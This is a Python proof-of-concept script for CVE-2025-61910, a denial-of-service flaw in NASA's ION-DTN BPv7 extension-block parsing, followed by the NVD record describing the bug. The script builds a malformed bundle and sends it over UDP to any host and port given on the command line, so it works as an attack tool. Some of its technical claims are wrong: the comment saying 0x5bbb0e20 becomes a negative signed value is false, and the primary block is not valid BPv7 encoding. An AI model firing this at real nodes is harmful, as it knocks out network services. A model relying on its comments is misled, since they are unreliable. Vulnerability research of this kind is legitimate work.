CVE-2025-61910

#!/usr/bin/env python3 """ CVE-2025-61910 PoC - NASA ION-DTN BPv7 Malformed Extension Block DoS This PoC constructs a malicious BPv7 bundle with a malformed extension block that triggers uncontrolled memory allocation in ION-DTN 4.1.3s. """ import socket import struct def build_malicious_bpv7_bundle(): """ Build a BPv7 bundle with a malformed extension block. The extension block starts with 0x85 (CBOR array of 5 elements), where the 5th element is a byte string that causes integer overflow when processed by ION-DTN's bei.c parser. """ # Primary block (BPv7) # Version (7), flags, etc. primary_block = b'\x07' # version primary_block += b'\x82' # flags primary_block += b'\x00' * 20 # destination EID primary_block += b'\x00' * 20 # source EID primary_block += b'\x00' * 20 # report-to EID primary_block += b'\x00\x00\x00\x01' # creation timestamp primary_block += b'\x00\x00\x00\x01' # sequence number primary_block += b'\x00\x00\x00\x00' # lifetime primary_block += b'\x01' # block count # Malformed extension block # 0x85 = CBOR array of 5 elements # First 4 elements are numbers: 0x07, 0x02, 0x01, 0x00 # 5th element: byte string of length 27 (0x5bbb0e20b4ea001a000927c0...) extension_block = b'\x85' # CBOR array header (5 elements) extension_block += b'\x07' # element 1: number 7 extension_block += b'\x02' # element 2: number 2 extension_block += b'\x01' # element 3: number 1 extension_block += b'\x00' # element 4: number 0 # Element 5: byte string with value that causes overflow # 0x5b = CBOR byte string (major type 2, additional info 27) extension_block += b'\x5b\xbb\x0e\x20\xb4\xea\x00\x1a\x00\x09\x27\xc0' extension_block += b'\x00' * 16 # padding # Block length that will overflow when cast to signed int block_length = struct.pack('>I', 0x5bbb0e20) # becomes -369092043 as signed bundle = primary_block + extension_block + block_length return bundle def send_bundle(target_host, target_port=4556): """ Send the malicious bundle to the target ION-DTN node. Default DTN BPv7 convergence layer port is 4556. """ bundle = build_malicious_bpv7_bundle() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: sock.sendto(bundle, (target_host, target_port)) print(f"[*] Malicious bundle sent to {target_host}:{target_port}") print(f"[*] Bundle size: {len(bundle)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 4556 send_bundle(target, port)

{"cve": {"id": "CVE-2025-61910", "sourceIdentifier": "[email protected]", "published": "2025-10-07T20:15:35.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NASA’s Interplanetary Overlay Network (ION) is an implementation of Delay/Disruption Tolerant Networking (DTN). A BPv7 bundle with a malformed extension block causes uncontrolled memory allocation inside ION-DTN 4.1.3s, leading to receiver thread termination and a Denial-of-Service (DoS). The triggering bundle contains an extension block starting at `0x85070201005bbb0e20b4ea001a000927c0...`. The first byte in the extension block (0x85) indicates a CBOR array of five elements of which the first four are numbers (0x07, 0x02, 0x01, 0x00) but the fifth element is a byte string of length 27 (`0x5bbb0e20b4ea001a000927c0...`). The vulnerability seems to be due to processing the fifth element of the array (i.e., the byte string) as replacing it with a number makes the vulnerability no longer be triggered. While parsing this extension block, ION obtains a very large block length, which in the code in `bei.c`:764) seems to be passed from `blockLength` which is an unsigned int, to a 32 bit signed integer `blkSize`. The unsigned to signed conversion causes `blkSize` to hold the value of -369092043, which is then converted into a 64-bit unsigned value inside `MTAKE(blkSize)`, resulting in an attempt to allocate an unrealistic amount of memory, causing the error. As of time of publication, no known patched versions of BPv7 exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/nasa-jpl/ION-DTN/blob/ion-open-source-4.1.3s/bpv7/library/bei.c#L758-L769", "source": "[email protected]"}, {"url": "https://github.com/nasa-jpl/ION-DTN/security/advisories/GHSA-xm96-38vj-h28h", "source": "[email protected]"}]}}